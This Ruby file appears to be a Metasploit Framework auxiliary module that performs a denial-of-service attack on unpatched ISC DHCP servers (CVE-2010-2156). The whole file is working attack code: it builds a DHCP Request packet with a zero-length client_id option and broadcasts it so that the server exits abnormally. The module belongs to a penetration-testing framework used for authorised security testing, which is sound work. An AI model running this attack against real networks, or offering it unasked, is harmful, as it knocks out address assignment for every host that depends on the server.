73 lines
1.9 KiB
Ruby
73 lines
1.9 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Auxiliary::Dos
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include Msf::Exploit::Capture
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def initialize
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super(
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'Name' => 'ISC DHCP Zero Length ClientID Denial of Service Module',
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'Description' => %q{
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This module performs a Denial of Service Attack against the ISC DHCP server,
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versions 4.1 before 4.1.1-P1 and 4.0 before 4.0.2-P1. It sends out a DHCP Request
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message with a 0-length client_id option for an IP address on the appropriate range
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for the dhcp server. When ISC DHCP Server tries to hash this value it exits
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abnormally.
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},
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'Author' =>
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[
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'sid', # Original POC
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'theLightCosine' # msf module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2010-2156' ],
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[ 'OSVDB', '65246'],
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[ 'EDB', '14185']
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]
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)
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register_options(
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[
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OptAddress.new('RIP', [true, 'A valid IP to request from the server'])
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]
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)
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deregister_options('RHOST','FILTER','PCAPFILE','SNAPLEN','TIMEOUT')
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end
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def run
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open_pcap
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print_status("Creating DHCP Request with 0-length ClientID")
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p = PacketFu::UDPPacket.new
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p.ip_daddr = "255.255.255.255"
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p.udp_sport = 68
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p.udp_dport = 67
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# TODO: Get a DHCP parser into PacketFu
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chaddr = "\xaa\xaa\xaa\xaa\xaa\xaa"
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dhcp_payload = "\x63\x82\x53\x63\x35\x01\x03\x3d\x00\xff"
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p.payload = dhcp_req(chaddr,dhcp_payload)
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p.recalc
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print_status("Sending malformed DHCP request...")
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capture_sendto(p, '255.255.255.255')
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close_pcap
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end
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def dhcp_req(chaddr,payload)
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req = "\x00" * 236
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req[0,3] = "\x01\x01\x06" # Boot request on Eth with hw len of 6
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req[12,4] = Rex::Socket.addr_aton(datastore['RIP'])
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req[28,6] = chaddr
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req + payload
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end
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end
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